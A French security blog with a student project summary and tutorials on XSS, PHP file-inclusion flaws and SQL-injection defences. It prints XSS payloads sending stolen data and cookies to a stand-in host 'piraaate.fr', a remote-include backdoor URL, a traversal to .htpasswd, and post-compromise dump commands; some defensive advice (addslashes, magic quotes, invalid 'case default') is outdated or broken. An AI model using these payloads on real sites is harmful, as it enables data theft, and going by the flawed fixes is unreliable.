SecureM

Aller au contenu | Aller au menu | Aller à la recherche

TPE : Le piratage informatique

Aujourd'hui, nous avons passé l'oral du TPE, qui compte je vous le rappelle pour le baccalauréat coefficient 2.
Dans notre groupe de quatre, nous avons choisi le piratage informatique comme thème, et joins à ce message le dossier et la présentation que nous avons réalisés.

Au programme : le Hacking (histoire, grands noms, types de hackers), puis les injections SQL, réalisée par Victor B., le phishing, réalisé par Patrick E., puis la Bruteforce, réalisé par Victor A., et pour finir, la faille DNS, que j'ai moi-même présenté.
Nous avons effectuée une démonstration de bruteforce sur les ordinateurs de la salle, où l'examinateur rentrait un mot de passe numérique à 4 chiffres sur le serveur, et un autre ordinateur client le bruteforçait en moins de 4 secondes =D

Le dossier n'est peut-être pas parfait, mais j'espère qu'il pourra vous aider, vous éclairer, ou au moins vous faire découvrir le piratage informatique =D

Télécharger le dossier (PDF)
Télécharger la présentation (Présentation OpenDocument)


Les Failles XSS

Peut-être avez-vous déjà entendu parler de ces failles, peut-être pas.
Description d'une faille qui peut causer pas mal de soucis...



Description :
Les failles XSS pour Cross Site Scripting sont des failles intervenant niveau client. Le nom est XSS et non CSS car ce dernier est déjà un langage de mise en page web.
Il existe plusieurs niveaux d'actions pour le XSS, mais nous allons voir cela tout de suite.
Le XSS consiste en l'injection d'un code HTML (côté client) non désiré, le plus souvent du JavaScript.

Fonctionnement :
Le premier niveau de XSS ("basé sur Dom" et "non permanent") est d'application très locale, et peu efficace: il s'agit d'injecter du HTML via une requête GET ou POST:
Mais comme un exemple parle mieux, reprenons notre cher http://pigeon.net/ et dotons le d'une page erreur.php qui permet d'afficher n'importe quel message d'erreur:
<?php
// En-tête des pages et autres fichiers requis
include'includes/header.inc.php';

// Récupération du message d'erreur
if(empty($_GET['erreur'])){
$message = 'Erreur inconnue ! Veuillez prévenir un administrateur';
signalerreur('Erreur inconnue sur la page d\'erreur !');
}
else{
$message = urldecode($_GET['erreur']);
signalerreur($_GET['erreur'] . ' pour le client '.adresse_IP());
}
echo"<h1>$message</h1>";

?>
Maintenant, certaines pages redirigeront vers alert.php?erreur=Vous devez être connecté ! par exemple.
Vous constatez que le paramètre transmis n'est jamais vérifié. Vous pouvez donc appeler alert.php?erreur=Erreur ?</h1><br/><h2>Non, juste moi !</h2>
Hé oui, une page de personnalisée :P Bon, si on passait aux choses sérieuses ? Voici un exemple de code que l'on pourrait transmettre:
<script>alert('Muhahahahahaha !!');</script>
Et vous comprenez ce qui se passe...
On peut aussi trouver ce genre de faille sur des moteurs de recherche (non, c'est même pas la peine d'essayer sur Google...), et sur toutes les pages qui se serve d'un paramètre transmis par le client pour générer et afficher du HTML.
Le second niveau (ou "permanent") est nettement plus dangereux: il permet en effet la même chose que le premier mais sur un horizon beaucoup plus large !
Il s'agit de pages qui stocke des informations non traitées pour les afficher ensuite... comme par exemple un module de news ou de livre d'or: si on dépose un commentaire contenant du HTML, il sera exécuté par TOUS les clients affichant la page ! C'est là la grosse différence entre les deux niveaux.

Enjeux :
Les failles de niveau 1 sont exploitables uniquement par ingénierie sociale, c'est-à-dire de demander à quelqu'un de cliquer sur un lien; mais à part ça elles ne sont pas si différentes du niveau 2.
C'est bien beau, mais qu'est-ce qu'on peut en tirer, de ce code HTML ?
Eh bien comme je l'ai déjà dit, c'est souvent du JavaScript qui est utilisé. Et ses possibilités sont les suivantes:
  • Utilisation des cookies du site en question: si le codeur a eu la mauvaise idée de créer un cookie contenant la paire login/pass, alors on pourra le lire et le sauvegarder sur un serveur auxiliaire. (voir "Envoi")
  • Modification de la page courante: un petit form.action="http://piraaate.fr/capture.php" sur le formulaire de connexion ? Très intéressant.
  • Execution de commandes: par l'appel d'URLs clés, par exemple http://pigeon.net/admin/newadmin.php avec pour arguments POST des données telles que nom=Pirate&passe=blopblip. Très critique, surtout que l'on usurpe la session du malheureux client, et ce qui va avec c'est-à-dire de son identification s'il est connecté !
  • Affichage de alert() en folie: un grand nombre de alert() se suivant sans laisser à l'utilisateur le temps de fermer la page. Très idiot.
  • Collecte d'informations à propos des utilisateurs. Très inutile.
  • Vous voyez, les possibilités sont (presque) infinies !
Note sur l'envoi : Plusieurs méthodes existent pour transférer des données:
  • document.write("<iframe src='http://piraate.fr/stocke.php?donnees="+donneesrecoltees+"' style='display:none;'></iframe>")
  • document.write("<img src="http://piraaate.fr/stocke.php?infos='"+donneesrecoltees+"' style='display: none;' />")
  • document.write('<form action="http://piraaate.fr/stocke.php" method="get ou post"><input name="infos" value="'+donneesrecoltees+'" type="hidden" /></form>');
    avec un redirection immédiate sur la page de départ après le stockage
  • Et plein d'autres encore (je n'ai pas parlé du XHTTPREQUEST...)
Vous avez donc vu que l'on pouvait faire pas mal de dégâts voire même prendre le contrôle du site en exploitant une telle faille.

Contournement :
Pour sécuriser vos pages, voici quelques fonctions PHP:
  • htmlspecialchars() qui convertit les tags, & ' et " si j'ai bon souvenir.
  • htmlentities() qui convertit en plus les accents en entités HTML (plus de problèmes d'encodage !).
  • strip_tags() qui supprime les tags HTML ou PHP.
Personnellement je couple généralement les deux dernières méthodes.


J'ai l'impression que j'ai fait le tour du sujet, si vous avez une question n'hésitez pas à poster un commentaire.

La "faille Include"

Vous avez peut-être déjà entendu parler de cette fameuse "faille Include", mais savez-vous exactement ce qu'il en est ? Êtes-vous bien protégé ?

Introduction


Cette faille est à ce jour heureusement absente sur la majorité des sites.
Cependant, quelques webmasters n'ont pas corrigé cette faille, et d'autres n'en ont pas conscience.

Mode de fonctionnement


Cette faille se situe dans la structure du site, plus précisément sur certains type d'architectures, où un morceau de code est chargé d'afficher dynamiquement la page demandée. Ainsi l'utilisateur suivant le lien http://www.securem.eu/index.php?page=accueil.php verra une page qui sera en réalité http://www.securem.eu/accueil.php
<?php
// On peut imaginer qu'ici se trouvera le code commun à toutes les pages :
// Structure XHTML (header, etc...) ainsi que des inclusions aux fichiers tels que header.inc.php (qui contient les fonctions pour le site)

$page = $_GET['page'];// Récupération du nom de la page demandée
include($page);// Inclusion sur la page

// Ici le footer
?>
Niveau fonctionnel, tout est censé bien marcher: un appel à http://www.securem.eu/index.php?page=accueil affiche bien la page pages/accueil.php.

Cependant, que se passe-t-il si une personne mal intentionnée appelle " http://www.securem.eu/index.php?page= " par exemple ?
Si la configuration le permet, une erreur sera affichée:
Warning: include() [function.main]: failed to open stream: No such file or directory in index.php on line 2
En effet, on essaie d'appeler une page qui n'existe pas.
Et ensuite ? Qu'est-ce que ça change qu'un hacker obtienne cette erreur ? C'est pas grave, elle est pas si redoutable cette faille include !
Ooh ! Comment pouvez-vous dire ça !?
Cette faille ne permet pas qu'obtenir ce message (qui nous donne des informations sur la structure du site: il y a un dossier /pages contenant des morceaux de code à afficher...
Maintenant, que se passe-t-il si j'appelle http://www.securem.eu/index.php?page=../.htpasswd ?
Alors, vous commencez à comprendre ? Eh oui, le htaccess sera affiché en clair !
Je suis en effet remonté dans le dossier parent grâce à ../ et j'ai inclus le fichier .htpasswd, qui contient, je le rappelle, les mots de passe des dossiers sécurisés par un .htaccess.
Note: Le .htpasswd ne s'appelle pas forcément ainsi et n'est pas toujours situé à la racine du site !
Vous comprenez l'ampleur de cette faille ? Pas encore je crois. Alors imaginez ça:
http://www.securem.eu/index.php?page=http://piraaate.fr/backdoor.php
Que va-t-il se passer ? La page backdoor.php sera incluse et... exécutée ! Ainsi, un pirate peut exécuter son propre code sur VOTRE serveur !
Avec un peu d'imagination et grâce à certaines fonctions PHP, on peut voir l'arborescence de votre site, visualiser le fichier de configuration et obtenir ainsi un accès libre et direct à la base de données. Le pirate peut donc contrôler totalement votre site !
Note: il faut que le serveur piraaate.fr n'exécute pas le code PHP, ou bien l'affiche sans l'exécuter, sinon il sera exécuter sur ce serveur et non sur le serveur cible. De plus, les dernières versions de PHP empêchent l'inclusion d'un fichier sur un serveur distant.
Via la fonction system($commande), il peut par exemple obtenir un accès en ligne de commande par l'utilisateur faisant tourner le serveur PHP (www-data généralement).

A partir de là, on peut récupérer les sources du site:
tar -c archive.tar ./* > archive.tar
 Ce qui créera un fichier compressé contenant l'ensemble des fichiers contenus dans le dossier courant. Vous n'aurez alors plus qu'à placer cette archive dans un dossier public (htdocs, enfin l'emplacement du site public quoi...) et à la télécharger.
On peut aussi récupérer l'intégralité de la base de données :
mysqldump --all-databases > sauv_BDD.sql

Et télécharger le fichier obtenu de la même manière. (Il faudra souvent donner les identifiants pour pouvoir se connecter au serveur MySQL, récupérés dans le fichier config du site)
Et même si les mots de passe sont cryptés dans la base de données, vous pouvez les récupérer en modifiant le fichier de connexion: rajoutez simplement un appel à la fonction mail() et vous pourrez récupérer chaque identifiant !

Vous comprenez donc qu'avec la totalité de vos sources et le contenu des bases de données (y compris mots de passe et adresses courriel) le pirate tient votre site en sa possession. Donc ne me dite plus jamais que cette faille ne sert qu'à afficher un message d'erreur ! ^^
D'où l'importance de protéger votre site de cette faille.

Protection

Comment se protéger de cette faille ?
Tout simplement en ne chargeant jamais un fichier selon le bon vouloir de l'utilisateur.
Vous pouvez utiliser quelque chose comme :
<?php

$page = $_POST['page']; // Récupération de la page

switch($page){ // Suivant la page demandée...
case 'accueil': $adresse = 'pages/accueil.php'; break;
case 'connexion': $adresse = 'pages/connecte.php'; break;
case 'forum': $adresse = 'forum/'; break;
case 'contact': $adresse = 'pages/contact.php'; break;
case default: $adresse = 'pages/erreur404.php';// Page non trouvée
}

include $adresse; // Et on inclus la page réelle
?>
Veillez aussi à régler votre php.ini pour que allow_url_fopen soit sur off.

J'attire votre attention sur le fait qu'un include("/pages/$page.php"); dans lequel on rajoute un préfixe et un suffixe permet aussi de se protéger, les URLs devenant index.php?page=accueil. Mais la faille include est encore présente : cette solution empêche juste les inclusions distantes (ajout d'un préfixe à l'URL) et limite les inclusions à des fichiers se terminant par .php. Mais si le pirate parvient à injecter du code arbitraire dans un fichier portant cette extension, il pourra quand même exécuter son code ! A la rigueur, le fait de donner une extension particulière à vos pages de contenu, comme .page, bloquera tout attaquant, évidemment à la condition que seules ces pages portent une telle extension et qu'il ne soit pas possible pour un utilisateur d'en modifier le contenu.

J'espère que ceci vous aura été utile, n'hésitez pas à laisser un commentaire si cet article vous a aidé ! :D

Comment parer aux injections SQL

Corriger les failles SQL, c'est assez simple.

  • Il suffit généralement d'appliquer la fonction addslashes() de php à tous les champs qui arrivent dans la requête.
<?php
$pseudo = addslashes($_POST['pseudo']);
$passe = addslashes($_POST['passe']);
mysql_query("SELECT `mess_bienvenue` FROM `utilisateurs`
WHERE `pseudo`='$pseudo' AND `passe`='$passe'",$link);
?>

Cependant cette fonction a ses limites, elle n'échappe que les guillemets simples et doubles, mais ni les anti-slash, ni les caractères NULL.

  • Il existe une autre manière, beaucoup plus simple à mettre en oeuvre, mais qui va disparaître avec PHP 6, il s'agit d'activer les guillemets magiques dans la configuration (fichier php.ini).

Cela échappe les caractères interdits ( sauf % et _ ) et c'est une solution que j'aime bien, elle est activée sur mon hébergeur.

  • Il existe cependant une autre méthode : l'utilisation de la fonction mysql_real_escape_string(). Avec un bon script, on peut pleinement l'exploiter :
<?php

// Annule les effets magic_quotes_gpc/magic_quotes_sybase sur ces variables si ON.

if(get_magic_quotes_gpc()) {
$product_name = stripslashes($_POST['product_name']);
$product_description = stripslashes($_POST['product_description']);
} else {
$product_name = $_POST['product_name'];
$product_description = $_POST['product_description'];
}

// Faire une requête sécurisée
$query = sprintf("INSERT INTO products (`name`, `description`, `user_id`)
VALUES ('%s', '%s', %d)",
mysql_real_escape_string($product_name,$link),
mysql_real_escape_string($product_description,$link),
$_POST['user_id']);

mysql_query($query,$link);

if(mysql_affected_rows($link) > 0) {
echo"Produit inséré ";
}
?>

Mais à ce moment ça se complique un peu. ;)

Vous avez donc le choix entre la fonction addslashes, l'activation des magic-quotes, ou ce que je vous recommande: la fonction mysql_real_escape_string